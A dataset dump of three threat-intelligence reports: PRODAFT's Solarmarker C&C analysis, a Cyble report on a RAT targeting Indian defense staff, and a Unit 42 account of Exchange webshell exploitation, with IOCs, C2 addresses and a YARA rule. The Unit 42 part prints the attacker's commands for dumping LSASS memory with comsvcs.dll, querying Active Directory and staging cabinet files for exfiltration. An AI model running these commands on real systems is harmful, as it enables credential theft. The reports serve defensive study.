text
stringlengths 8
115k
|
---|
# Solarmarker In-Depth Analysis
## 1 Introduction
This report is based on an analysis of the Solarmarker malware conducted by the PRODAFT Threat Intelligence (PTI) team. Solarmarker is a .NET-based data exfiltration tool with backdoor capability first discovered sometime around September 2020. At the time of our analysis, Solarmarker mostly targeted individuals and corporations based in the United States and Canada. The PTI team has successfully de-anonymized the C&C server and discovered that Solarmarker had already infected more than 12,000 victims and stolen over 200,000 credentials as of this report. Victim statistics by country and observations from the C&C panel are provided in detail in the following sections.
## 2 Executive Summary
Solarmarker is a multi-stage, heavily obfuscated malware targeting thousands of victims globally. Although security researchers identified Solarmarker as early as September 2020, the threat actors responsible altered their approach to malware execution in September 2021. They changed several installation steps, such as the initial point of entry in MSI installation files, making this advanced persistent threat even more dangerous.
After a careful examination of malicious activity in a client’s infrastructure, the PTI team started investigating Solarmarker and gained access to the attacker’s C&C infrastructure, the center of the crime operation. Subsequent analysis of Solarmarker victims revealed that the campaign captured 200,000 victim credentials from around 12,000 victim devices in the United States and Canada. 88.4% of these devices are located in the United States while 10% are located in Canada. Other countries constituted the remaining 1.6%. Analysis of exfiltrated data shows that the majority of targets are high-profile individuals such as government officials and executives of private organizations.
During the investigation, the PTI team was able to collect multiple artifacts from the crime group spearheading the Solarmarker campaign. The details of the investigation, including victim statistics and relevant observations, are provided in this report. Our research makes it clear that the cybercrime group behind Solarmarker is persistent and highly sophisticated. The underlying malware operated and evolved for an entire year without being detected and would have led to headline-making data breaches and extortion attacks if our team, in cooperation with authorities, had not de-anonymized the group’s command and control infrastructure.
## 3 Technical Analysis
This section contains a technical analysis of the Solarmarker malware and its related components. It includes the corresponding admin panel and malware sample. Solarmarker is a .NET-based modular data exfiltration tool with an obfuscated backdoor that targets Windows systems. The PTI team first found it as a portable executable file. Within the first generation of samples, Solarmarker contained statically embedded Powershell payloads and DLLs. However, in September 2021, the threat actors responsible switched to using MSI package installers. This strategy proved to be advantageous for evading security software and enabling more malicious functionality.
### 3.1 Distribution Mechanism
Solarmarker threat actors generate numerous malicious phishing webpages with common business terms in English to target corporations and employees. These webpages target users performing job-related searches, leading them to legitimate-looking websites and prompting them to download document files that secretly contain Solarmarker malware. This technique is commonly referred to as SEO poisoning. Threat actors distribute thousands of keywords and links to promote malicious webpages containing malware. When malicious pages earn top-ranking SEO results, they can easily distribute to millions of victims at a time.
The malicious links found in the documents use URL redirection to direct users to the malware dropper page. These pages serve the payload mostly in the form of a legitimate PDF viewer (Adobe Reader, SlimPDF, SumatraPDF, or NitroPDF).
### 3.2 Solarmarker Malware Execution
The first Solarmarker samples ran in five different stages enabled through portable executable files. New iterations reduced the number of stages to four. This reduction simplified the attack by skipping the malicious installation screen that victims would otherwise encounter.
#### 3.2.1 Installation
The MSI installer version of Solarmarker comes in two different versions. The first version comes with a decoy PDF viewer application installer. After running the MSI file, the installer successfully installs the legitimate application. During installation, a malicious Powershell script is executed in the background and loads the Solarmarker DLL.
In the second version, the installer displays an error and executes a malicious Powershell script that leaves a backdoor in the system and establishes a reverse connection to the command and control server.
#### 3.2.2 Powershell Loader
The dropped Powershell script loads the backdoor and provides support for malware persistence. The backdoor DLL file is stored in BASE64-encoded format inside the Powershell script. First, the script decodes the BASE64-encoded DLL and saves it to a predefined path with a random name. Then, the script decodes the DLL with a simple XOR cipher and loads the decoded DLL via the calling System.Reflection.Assembly method. At this stage, the script gains persistence by creating a shortcut file at the “AppData\Microsoft\Windows\StartMenu\Programs\Startup” directory. This shortcut file executes during system startup and invokes the backdoor DLL manually.
Threat actors generate Powershell scripts using the C&C server. They keep records of these scripts and note which victim gets infected with the corresponding script.
#### 3.2.3 Backdoor DLL
The DLL is obfuscated using the Dotfuscator tool. Dotfuscator performs a combination of code obfuscation and shrinking, which hardens the reverse engineering process. Luckily, most of the strings are still in plaintext format because the cybercrime group failed to use the Dotfuscator tool correctly.
Upon execution, the DLL generates a random 16-byte AES key to encrypt traffic between the C&C and the victim’s machine. The DLL sends this key with a randomly generated victim identification base64 string to the C&C server after encrypting it with a hardcoded RSA public key in the initial request. These hardcoded RSA keys are white-listed and manageable from the C&C server.
The malicious backdoor DLL sends the collected system information to the C&C server and waits for incoming tasks. The system information packet contains the computer architecture, hardware identity, operating system name, computer name, workgroup name, and user rights values.
The backdoor also has a data exfiltration module named Jupyter. Jupyter loads and parses auto-fill data, saved passwords, and saved credit card information from the victim’s web browsers. After parsing the saved passwords, it filters them according to the rules defined inside the C&C panel. Generally, this process targets online cryptocurrency wallet domains.
### 3.3 C&C Infrastructure
The PTI team discovered that threat actors were using two different command-and-control servers. They routed malware connections from victims to an intermediary server called “AdminPanel” using multiple alternative load balancer servers. This server saves the victim-specific ID to the panel and manages initial command-and-control operations.
The second server, called “MATPanel,” classifies and stores all victim data, such as cryptocurrency credentials and wallets. The admin panel contains multiple users for checking incoming victim credentials. More detailed information about the control panel and the C&C structure is given in the next section.
### 3.4 Management Panel
The PTI team detected and gained access to two Solarmarker management panels. While the first panel (MAT panel) is used for extracting and categorizing victim data, the second one is the malware C&C through which commands are issued.
#### 3.4.1 MAT Panel
The MAT panel is used for management and filtering of the victim data. This panel contains the following list of pages:
- Боты (Bots)
- Избранное (Favourites)
- BTC
- Линки BTC (BTC Links)
- Пользователи (Users)
- Логирование (Logs)
On the “BTC Links” page, the threat actors used domain suffixes to filter stolen credentials by domain name. The extracted data with these rules are used later on the “BTC” page. Notably, the majority of these rules are used for storing cryptocurrency wallet domains. Moreover, the threat actors were able to check generic victim data by clicking on the ID of the victim. As of this report, there are 670 different rules configured inside the MAT panel.
Threat actors could reserve a bot and hide it from other MAT Panel users. The reserving action is logged in the panel, allowing an admin to track reserved bots by user. This reserving functionality could indicate an affiliate-based business model, even though Solarmarker itself is most likely run by a single author.
Inside the “Bots” page of the MAT panel, basic victim system information is displayed. The victim data shown on the details page includes hidden virtual network computing (HVNC) information, the number of saved browser credentials stolen, auto-fill data, credit card numbers, and predefined tasks. The malware also starts a SOCKS5 proxy and HVNC server on the victim’s machine.
#### 3.4.2 Admin Panel
The second panel is called “AdminPanel” and contains the following pages:
- Боты (Bots)
- Задачи (Tasks)
- Балансёры (Balancers)
- Домены (Domains)
- Пользователи (Users)
- Логирование (Logs)
- Статистика (Statistics)
- Детекты (Detects)
On the bots page, the threat actor could filter the bots by their last active time, system information, and content (malware version or data exfiltration module). In addition, the threat actor gives tasks to Solarmarker victims such as invoking commands, executing applications, or running Powershell scripts on the tasks page.
The threat actor has a detailed task creation page. Tasks can be created based on multiple parameters. Available parameters are listed below:
- Task type (File or Command)
- Maximum number of bots per second
- Execute “marked” tasks
- Execute based on victim created date
- Execute by required minimum build version
- Execute only in new Jupyter victims
- Add task to Auto-start
- Execute only on victims that are alive longer than a period of time
The bot is not present in the White Panel (We assume another filtering is being done in an unknown third panel).
The available load balancer servers are listed inside the balancers page. To hide the real IP addresses of C&C panels and other parts of Solarmarker’s infrastructure, the threat actor implemented load balancer servers to handle incoming connections from victim systems. The system keeps reputation scores for each of the load balancer servers, indicating which ones have been detected by security products.
The “Logs” page contains logs of every task created and removed. The admin can use this page to track other users’ task activity.
### 3.5 De-Anonymization
The PTI team successfully extracted the users of both the admin and MAT panels and their configurations. The data revealed deleted user records. Based on the PTI team’s observations, the ID column of the users is incremental. Although the admin user ID is 1, the next user named as conve’s ID continues with 7. Other columns, such as is_admin and disabled, show that the administrator of the admin panel needed permissive control of the users. Considering the multiple permission levels and victim-reserving functionality, the PTI team concludes that the Solarmarker malware campaign is likely managed through a Malware-as-a-service (MaaS) affiliate model.
The following table contains the users and joining date for the admin panel:
| Username | Joined Date |
|----------|-------------|
| admin | Sat, 31 Oct 2020 20:39:15 GMT |
| conve | Mon, 30 Aug 2021 16:57:51 GMT |
| strix | Mon, 30 Aug 2021 16:58:10 GMT |
| yami | Mon, 30 Aug 2021 16:58:39 GMT |
| fppi | Tue, 14 Sep 2021 18:09:52 GMT |
| admarch | Wed, 06 Oct 2021 17:39:00 GMT |
According to the PTI team’s observations, the bishop user inside the MAT panel acts like a moderator. According to the admin panel logs, bishop handles most of the administrative actions such as adding new users and configuring vital C&C settings.
The following table contains the users and joined date for the MAT panel:
| Username | Joined Date |
|----------|-------------|
| admin | Tue, 29 Sep 2020 17:45:01 GMT |
| Ymik | Thu, 22 Oct 2020 21:40:45 GMT |
| strix | Mon, 16 Aug 2021 19:38:31 GMT |
| bishop | Fri, 03 Sep 2021 21:54:02 GMT |
| ecorp | Fri, 03 Sep 2021 22:23:37 GMT |
| bzer | Fri, 03 Sep 2021 22:24:13 GMT |
| sqrf | Tue, 14 Sep 2021 17:41:35 GMT |
| rozzi | Wed, 15 Sep 2021 20:22:28 GMT |
| mate | Tue, 21 Sep 2021 21:26:56 GMT |
| shemsh | Tue, 21 Sep 2021 21:50:18 GMT |
| diab | Wed, 22 Sep 2021 12:59:26 GMT |
| savage | Wed, 22 Sep 2021 13:18:15 GMT |
| daffy7 | Wed, 22 Sep 2021 15:34:48 GMT |
| fsssss | Tue, 28 Sep 2021 20:45:11 GMT |
| cyber | Wed, 29 Sep 2021 15:59:47 GMT |
| kass | Thu, 30 Sep 2021 14:45:32 GMT |
| mexx | Thu, 30 Sep 2021 18:34:06 GMT |
| setup | Fri, 01 Oct 2021 15:26:38 GMT |
| tvister | Fri, 01 Oct 2021 20:23:44 GMT |
| mont | Mon, 04 Oct 2021 17:39:03 GMT |
| chas | Mon, 04 Oct 2021 17:53:25 GMT |
| hoost | Tue, 05 Oct 2021 18:12:55 GMT |
| gorm | Tue, 05 Oct 2021 21:28:43 GMT |
| mort | Tue, 05 Oct 2021 22:03:48 GMT |
| only | Thu, 07 Oct 2021 18:16:03 GMT |
| tvister1 | Thu, 07 Oct 2021 20:41:37 GMT |
## 4 Statistics and Observations
It is no surprise that Solarmarker targeted many high-profile victims. These victims include employees of 96 Fortune 500 companies and government officials with email addresses registered under the .mil and .gov top-level domains. The breakdown of high-profile victim statistics is given in Section 4.2.
Based on the panel interactions of active users, threat actor activities mainly occurred on weekdays between 16:00 and 24:00 (GMT+0). According to the activity hours and historic records, we estimate that the affiliates are probably physically located in or near the American east coast. Although the daily activity graph provides little more than circumstantial evidence, further investigations should take activity timestamps into account.
### 4.1 Victim Statistics
There were rare occasions when threat actors decided not to activate data exfiltration mechanisms for certain victims. For example, on the 8th of September 2021, although the total victim count was 491, the exfiltration-activated victim count was 372. Based on the victim data, Solarmarker threat actors mostly targeted the United States (88.4%) and Canada (10%).
### 4.2 High Profile Targets
During our analysis of the stolen victim data, the PTI team identified multiple high-profile victims based on their email addresses and saved browser credentials. These include addresses and accounts related to the military, government, and 97 Fortune 500 companies discovered and verified by the PTI team.
## 5 Conclusion
Solarmarker is still an active threat for all public and private entities in the US and Canada. SEO poisoning and heavy obfuscation methods make this malware one of the fastest-spreading credential exfiltration tools in its class. Our investigation of its command-and-control servers revealed that malware operators infected a large number of victims and were most likely aiming to monetize stolen credentials.
Based on dark market dynamics, there is good reason to believe these credentials would be sold to the highest bidder. The techniques used by Solarmarker threat actors show that their priority is to evade detection as much as possible, staying under the radar for extended periods of time while narrowing down their victim domain to specific regions.
The PTI team revealed all details and shared all findings with relevant authorities, so that they would shut down Solarmarker operations. All victim information was shared with the relevant CERT authorities prior to the release of this report. This investigation demonstrates a few important things to the cybersecurity industry. It shows the necessity of improving public and private partnerships to stop similar threats before they cause global impacts. It demonstrates the need for advanced threat intelligence, particularly the ability to infiltrate cybercriminal C&C infrastructure, and it emphasizes the need for advanced detection and response solutions that can identify downloaded executable files masquerading as document files.
## 6 IOC
### 6.1 Samples
- 28b41fbae3fec855c2f4779dde8d4e990d3e5ceede80a89bcf420a59459d84b8
- f6aa48bc45be3b603a48a5261a28cc75e9c1c2f65aa37bb807b6c1bd80dce05a
- 8447b77cc4b708ed9f68d0d71dd79f5e66fe27fedd081dcc1339b6d35c387725
- 1197067d50dd5dd5af12e715e2cc00c0ba1ff738173928bbcfbbad1ee0a52f21
- e466158ff4c6da37213dc9e0f05038d05ebead93febf51a5ec3ac6e2b9e3e22d
- 8c35f2a78e366abf2450d5882c49c69ee5cc01dba3743938b45cedc2b5dee3a3
- 7761c2abc1c865d93d4f22eeea5404d151d1d4cfc6405feb7ce0680d9b62d32c
- 39b0e2965daf855fbd25facbdd0dcb84e3a2103d0ac37699b27284dd918dfcb7
- 38508585ab7911fa8c6475b14086e11db6e829c541b392634bcc921ae6cdda35
- 439c0df5763a7e5610c482d06ca773f9bf01e2d6330553025dba84b5f26c9bbd
- c645c8189f582d184dec3eb075e989f18cc0b8949df9cf8536a1d6c1acd90127
- 3baba04d7c86acef6772ecdd809b501c9606bff18b097487ec626b40a8635a5c
- bc7986f0c9f431b839a13a9a0dfa2711f86e9e9afbed9b9b456066602881ba71
- e34af1b6edf33b155ca9854d084577c30e1bc9d96eee10014277a0e55a47beef
- e3680602deb66e1196bcffe531cdeeab32663efc62c5e16178a0f9f4df745007
- 38b2cd6c40791c11a2cdb5f2c31f2304175a202e11e25bfcc87ed914e6bf5902
- 68eeae1e2ff0b135430999dd21c82276e39444754f57f77bfeafaae2e61fdf95
- 9e3b4e4948521467216515e92812e5a47fb23f5bcb3a8b1a6014ae2f038c7181
- 98cb6e654e1aea146c82637df42bdee8d7c9bd2cb9bf91bf71d664b887b3d1e6
- 4084a706b0575dab0995a1deb25d51d899d47df69e77aae885162a5a51e1cac1
- 44af59a2d70ba23f2f80d80090d11184ef923a746c0c9ea3c81922bd8d899346
- 4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b
- 5af99cfc85db7d386c951c76581433cf9bf82eafa775daef93d8bde38a5d6afc
- 5ef62c7d66c9f9470658e647afd257cbc087056ec07b4eafd7879682701cd05a
- 770658cdc73ef874c0f4daedb014daea71b5c179c1474ecd6d373d89ac45b48c
- 9faf75e3fbe46e1427a754ab1186bec3ada84735e3f7503a67df6ebe3eefa103
- a25e52970d49547477a201d8a9bbf16246404c5f9b8c348db2f59d7b1b48818f
- b3513c6772e4e94ea42dacbddf99235439165bb51f6ca4f3560a7482215cfa67
- bbfae2ab644c8d0f1ba82b01032b1962c43855cc6716193ce872ac16cda166df
### 6.2 C&C Servers
- 45.155.204.139 (digitalagencylks.com)
- 176.113.115.125 (hosthotelsshtus.com)
- evcscasha2.ocsp-certum.com
- 167.88.15.115
- 185.244.213.64
- 188.241.83.61
- 216.230.232.134
- 37.120.237.251
- 45.135.232.131
- 45.146.165.221
- 45.42.201.248
- 46.102.152.102
- 146.70.41.157
- 149.255.35.179
|
# APT Group Targets Indian Defense Officials Through Enhanced TTPs
During our routine threat hunting exercise, Cyble Research Labs came across a malware sample posted on Twitter by a researcher who believes that the malware belongs to Transparent Tribe, an Advanced Persistent Threat (APT) Group. Given the nature of the victim and the way they are targeted, we can draw some similarities to the Side Copy APT group. Both APT groups are known to have mainly targeted India’s Defense and Government sectors in the past. Additionally, both groups have used various other RAT and malware to launch campaigns via multiple modes such as phishing, delivering payload via mail, etc. The malware posted by the researcher on Twitter has used a technique to hide the actual malware in the .vhdx file to avoid any antivirus detection. As per Wikipedia, .vhdx is the successor of VHD (Virtual Hard Disk).
The figure below shows the high-level execution flow of the malware. Upon execution, the malware checks for the current time zone. If it is able to verify that the victim system’s time zone is in IST, it connects to the attacker’s URL for downloading the second stager. Once downloaded, it executes the second stager payload and deletes itself. The second stager payload checks that only one instance of the malware is running, and then it connects with the attacker’s Command and Control (C&C) server to start receiving the commands from Threat Actor (TA).
## Technical Analysis
Cyble Research started analysis with the malware file name AFD CSD APP.vhdx; the sample had an extension .vhdx. After double-clicking on the AFD CSD APP.vhdx we observed it creating a mount in the Operating System (OS) with the name “CSD App“. After opening the mounted drive, we got the malicious malware file which is CSD_AppLaunch.exe.
While performing a static analysis of the CSD_AppLaunch.exe malicious file, we determined that the file is an x86 architecture Windows-based Graphical User Interface (GUI) Application written in .NET Language. The icon of the malicious app had the logo of the Canteen Store Department (CSD) of the Indian Armed Forces.
### Code Analysis (CSD_AppLaunch.exe)
Once the malware has been executed, it checks whether the current OS time Zone is India Standard Time (IST); if the OS time is not in IST, the malware exits. This tells us that the malware has been created with the explicit purpose of targeting the Indian Defense establishment and service members.
Initially, the code uses the .NET WebBrowser() class to open the URL `h[tt]ps://afd.csdindia[.]gov[.]in` and load the Form1_Load module to execute the malicious malware code. Once the Form1_Load method is called, the code creates a directory in `C:\\ProgramData` as “Intel Wifi”. If this directory is not present, it will be created. Once the directory is present, the malware proceeds to download the next stager payload from URL `https[:]//secure256[.]net/ver4.mp3`. Then, the malware decrypts the ver4.mp3 content to create IntelWifi.exe malicious binary in `C:\\ProgramData\\Intel Wifi`.
Finally, the first stager malware calls the Final method to create a new file name music.mp3 which contains the decrypted data of ver4.mp3 in the `C:\\ProgramData` directory. After this step, it sleeps for 6 seconds and then uses the Move function to rename the music.mp3 file to IntelWifi.exe. It then sleeps for five more seconds and then executes IntelWifi.exe binary and deletes CSD_AppLaunch.exe (first stager) binary.
## Technical Analysis for IntelWifi.exe (Second Stager)
Static analysis of IntelWifi.exe tells that the binary is an x86 architecture Windows-based Graphical User Interface (GUI) application written in .NET language. Initially, the malware checks that only a single instance of a malware process is running. Then, it checks whether the current time zone is India Standard Time. Further, it calls CheckDirectory() method to create `\\Intel Wifi` directory and vmnx.dll file. Finally, it calls the Form1 module to execute the malicious codes.
The Form1() module calls IntializeComponent method, which in turn loads the Form1_Load method. The Form1_Load then calls Run() method to start the malware activity. Once executed, it connects to the attacker’s C&C on address `45[.]147[.]228[.]195[:]5434`. After establishing contact with the C&C server, it calls the Run method from the Grabber class to execute a series of methods to get the victim’s environment details, e.g., OS, current username, etc. Once the victim’s environment details are extracted, the malware sends the details to the attacker’s C&C with key “x999” and then waits for commands to be received from the attacker.
### Conclusion
The APT groups are evolving their tools and techniques to stay ahead of various security solutions like AV & EDR. Based on the fact that this malware has multiple artifacts such as the logo, the URL used in the initial code, we can conclude that the malware has been created specifically to target Indian Defense or Government officials. Cyble Research Labs will continuously monitor security threats, whether they are ongoing or emerging. We will continue to update our readers with our latest findings.
## Our Recommendations
We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the suggestions given below:
- Use a reputed anti-virus and internet security software package on your connected devices.
- Use the shared IOCs to monitor and block the malware infection.
- Conduct regular backup practices and keep those backups offline or in a separate network.
- Refrain from opening untrusted links and email attachments without verifying their authenticity.
- Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.
- Use strong passwords and enforce multi-factor authentication wherever possible.
## MITRE ATT&CK® Techniques
| Tactic | Technique ID | Technique Name |
|---------------------------|--------------|-------------------------------------------------|
| Execution | T1204 | User Execution |
| Persistence | T1547 | Boot or Logon Autostart Execution |
| Discovery | T1057 | Process Discovery |
| | T1124 | System Time Discovery |
| | T1033 | System Owner/User Discovery |
| | T1082 | System Information Discovery |
| Command and Control | T1095 | Non-Application Layer Protocol |
| | T1571 | Non-Standard Port |
## Indicators of Compromise (IoCs)
| Indicators | Indicator Type | Description |
|---------------------------------------------------------------------------|----------------|-------------|
| 124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce | SHA-256 | IntelWifi.exe |
| 84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 | SHA-256 | CSD_AppLaunch.exe |
| 5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836 | SHA-256 | AFD CSD APP.vhdx |
| http://secure256[.]net/ | URL | Second Stager URL |
| 45.147.228.195:5434 | IP:Port | Attacker’s C&C |
## Generic signatures and Rules
### Yara Rules
```yara
rule win32_csdmalware {
meta:
author= "Cyble Research"
date= "2021-09-14"
description= "Coverage for CSD_Application.exe & IntelWifi.exe"
csd_application_hash= "84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34"
intelwifi_hash= "124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce"
strings:
$header= "MZ"
$sig1 = "CreateNonStop" wide ascii
$sig2 = "LocIp" wide ascii
$sig3 = "MacType" wide ascii
$sig4 = "45.147.228.195" wide ascii
$sig5 = "qmquqsqiqcq.qmqpq3q" wide ascii
$sig6 = "secure256.net" wide ascii
$sig7 = "ver4.mp3" wide ascii
$sig8 = "x33117" wide ascii
condition:
$header at 0 and (3 of ($sig*))
}
```
## About Us
Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.com.
|
# Actor Exploits Microsoft Exchange Server Vulnerabilities, Cortex XDR Blocks Credential Harvesting
**By Robert Falcone**
**April 15, 2021**
**Category: Unit 42**
**Tags: Cortex, Credential Harvesting, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, Microsoft Exchange Server, webshell**
## Executive Summary
The recently discovered and patched Microsoft Exchange vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) have garnered considerable attention due to their mass exploitation and the severity of impact each exploitation has on the affected organization. On March 6, 2021, an unknown actor exploited vulnerabilities in Microsoft Exchange Server to install a webshell on a server at a financial institution in the EMEA (Europe, the Middle East, and Africa) region. While we did not have access to the webshell itself, it is likely a variant of the China Chopper server-side JScript.
Six days after installing the webshell, on March 12, 2021, the actor used it to run PowerShell commands to gather information from the local server and the Active Directory, stealing credentials from the compromised Exchange server. The actor then compressed the files associated with the information gathering and credential harvesting by creating cabinet files saved to a folder that the Internet Information Services (IIS) server would serve to the internet. The actor attempted to exfiltrate these cabinet files by directly navigating to them on March 12 and 13, 2021.
We analyzed the IP addresses of the inbound requests to run the commands via the webshell and the requests to download the resulting files. None of the observed IP addresses appear to be actor-owned infrastructures and likely involve a sampling of freely available proxies, VPNs, and compromised servers. The IP addresses seen in the logs did not provide any pivot points to additional activity.
Unit 42 analysts believe that the actor has automated interaction with the webshell to run two separate PowerShell scripts. The two scripts executed via the webshell were issued three seconds apart and had two different inbound IP addresses. It appears that the automation also included a purposeful switch in IP addresses to make analyzing and correlating the activity more cumbersome. This suggests that the actor carried out this specific attack as part of a more extensive attack campaign.
Fortunately, the result of the actor's credential harvesting efforts at the financial institution in EMEA was unsuccessful, as the inbound requests to download the memory dump from the LSASS process failed. The Exchange server had Cortex XDR installed with the Password Theft Protection module enabled, which removed pointers to the desired credentials from the dumped memory, thwarting the actor's ability to easily extract credentials using Mimikatz.
This incident appears to be just one in a large-scale campaign either carried out by a single actor or multiple actors using a common toolset. Unit 42 found 177 webshells that share several common attributes and have similar behavior to the webshell used in this incident. The organizations impacted by these related webshells were in various industries and geographic locations, suggesting that the associated actor(s) are opportunistic and likely used scanning to find Exchange servers to compromise rather than having a set list of targets.
Palo Alto Networks customers are protected against Microsoft Exchange Server attacks with Next-Generation Firewalls with Threat Prevention and URL Filtering security subscriptions, Cortex XDR, and Cortex XSOAR.
## Webshell Activity
Unit 42 observed an actor interacting with webshells on Microsoft Exchange servers at six different organizations on March 11 and 12, 2021. To understand the actor’s activity in these attacks, we analyzed Internet Information Services (IIS) logs from one of the compromised Exchange servers, which allowed us to observe the inbound web requests to the webshell and the associated process activity generated. We used the timestamps in these logs to create a timeline of activity associated with this particular actor and incident.
According to the logs, on March 6, 2021, at 2:38:16 AM, the actor installed a webshell on the Exchange server by saving it to `C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx`. The path to the installed webshell exists within the IIS server’s root directory, which would serve the webshell to visitors who navigate to `/aspnet_client/supp0rt.aspx`. The URL of `/aspnet_client/supp0rt.aspx` is not unique to this attack, as Unit 42 has seen this URL used for webshells in many Exchange-related attacks. According to a recent CISA report, the `supp0rt.aspx` used in Exchange-related attacks was an Offline Address Book (OAB) configuration file with a webshell added to the “ExternalUrl” field.
While we did not have access to the `supp0rt.aspx` file used in this specific attack, we analyzed 177 `supp0rt.aspx` files that contained similar functionality. Each of the analyzed files contained China Chopper’s server-side JScript, which would evaluate code provided within a unique parameter whose name consists of 32 alphanumeric characters.
In this attack, we observed the actor providing code to execute to the `supp0rt.aspx` webshell within a parameter named `6b83ccc96b4abd4cea1c7c607688a8ad`. We believe with high confidence that the actors used the same webshell code in these attacks, but using the `6b83ccc96b4abd4cea1c7c607688a8ad` parameter in place of `54242e9b610a7ca15024a784969c9e0d`. While China Chopper’s server-side JScript is readily available online, we believe that the combination of the same webshell, the `supp0rt.aspx` filename, and the use of a random 32-alphanumeric character parameter to run PowerShell code suggests either a common actor or shared tooling across multiple actors.
We do not know exactly which IP address the actor used to exploit the server to install the webshell, as there were several successful HTTP POST requests to `/ecp/program.js` that attempted to exploit the Exchange vulnerability within a minute of the `supp0rt.aspx` file being written to disk. The path `/ecp/program.js` does not appear unique to this attack, as other security researchers have mentioned seeing this path used to exploit Exchange Server (CVE-2021-26855). All the successful requests used the user-agent `ExchangeServicesClient/0.0.0.0` and came from the following IP addresses:
- 156.194.127.178
- 112.160.243.172
- 221.179.87.175
- 73.184.77.174
- 41.237.156.15
- 223.16.210.90
- 63.76.255.110
- 218.103.234.104
- 83.110.215.7
After several days of inactivity, the actor first accessed the webshell on March 12, 2021, at 2:35:27, by navigating to `/aspnet_client/supp0rt.aspx` from `121.150.12.35`. The HTTP request included a parameter labeled `6b83ccc96b4abd4cea1c7c607688a8ad` that included a base64 encoded PowerShell script that the webshell would decode and execute.
The actors enumerated the running processes to find the process identifier (PID) of the Local Security Authority Subsystem Service (LSASS) process in order to dump the memory for credential harvesting. The actor used the PID of LSASS (584, seen in a later example) within a second PowerShell script uploaded to the same webshell at `/aspnet_client/supp0rt.aspx` within the `6b83ccc96b4abd4cea1c7c607688a8ad` parameter. The actor uploaded the second PowerShell to the webshell three seconds after the first on March 12, 2021, at 2:35:30, before switching their IP address to `164.68.156.31`.
The short period of time between the two inbound requests to the webshell, coupled with the switching of IP addresses, suggests that the actor has automated this process to some extent. Unit 42 believes the actors automated their interactions with the webshell to scale their operation, which allowed them to carry out post-exploitation activities on a long list of compromised Exchange servers.
The second PowerShell script contained the following, which effectively saves a batch script to `test.bat` on the server and executes it by creating a `cmd.exe` process:
```powershell
System.IO.File.WriteAllBytes('c:\\inetpub\\wwwroot\\aspnet_client\\test.bat',System.Convert.FromBase64String('cG93ZXJzaGVsbCBydW5kbGwzMi5leGUgYzpcd2luZG93c1xzeXN0ZW0zMlxjb21zdmNzLmRsbCBN'));
var c=new System.Diagnostics.ProcessStartInfo('cmd.exe');
var e=new System.Diagnostics.Process();
e.StartInfo=c;
c.Arguments='/c c:\\inetpub\\wwwroot\\aspnet_client\\test.bat';
e.Start();
```
The `test.bat` batch script attempted to run the following four commands, which essentially use `comsvcs.dll` to dump LSASS' memory, `dsquery` to get more contextual information on users on the network, and `makecab` to create cabinet files from the results of the two previous commands for exfiltration:
```powershell
powershell rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 584 c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b1.tmp.dmp full
dsquery * -limit 0 -filter objectCategory=person -attr * -uco > c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b.tmp
makecab c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b1.tmp.dmp c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b1.dmp.zip
makecab c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b.tmp c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b.dmp.zip
```
Several hours later on March 12, 2021, at 10:07:09, the actor appears to have changed their IP address to `45.77.140.214` and successfully downloaded the cabinet file `f4[redacted]9b.dmp.zip` that contained the results of the `dsquery` command. According to the user-agent of `Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko`, the actor downloaded this cabinet file by visiting the correct URL in an Internet Explorer 11 browser on a Windows 7 system.
We looked at the `f4[redacted]9b.dmp.zip` file and found that it contained the `f4[redacted]9b.tmp` file, which was empty. This suggests that the `dsquery` command executed by the batch script did not successfully gather the user information from Active Directory.
Then, one second later on March 12, 2021, at 10:07:10, the actor attempted to download the cabinet file containing the LSASS memory dump by making a GET request from `45.77.140.214` to `/aspnet_client/f4[redacted]9b1.dmp.zip`, but the server responded with a 404 Not Found error. The actor continued to try to download this file through March 12, 2021, at 17:35:15. At that point, there was a break in activity until two more requests to download the file on March 13, 2021, at 05:40:05 and 05:40:06. All the requests to download the cabinet file were met with the same 404 error message.
Less than 20 minutes later on March 13, 2021, at 6:02:04 AM, the actor again changed their IP address – this time to `78.141.218.225` – and continued attempting to download this cabinet file. The actor continued their attempts until March 13, 2021, at 16:33:03, issuing a total of 33 requests, all of which were met with HTTP 404 responses.
We looked at the `f4[redacted]9b1.dmp` file, and it indeed contained the memory contents of the LSASS process, but we were unable to use Mimikatz to dump the credentials. We confirmed that the Exchange server had Cortex XDR with the Password Theft Protection module enabled, which removed a pointer to the credentials from the dump file. This suggests that even if the actor was able to successfully download the `f4[redacted]9b1.dmp.zip` cabinet file that contained the memory dump, they would be unable to extract the sought-after credentials using Mimikatz.
## Conclusion
The mass exploitation of recent vulnerabilities in Microsoft Exchange Server is rampant, as organizations attempt to quickly patch their servers and attackers try to take advantage while they can. Unit 42 has seen various actors using these vulnerabilities to install a variety of webshells, which act as the gateway for the actors to carry out further activities on a compromised Exchange server and impacted network.
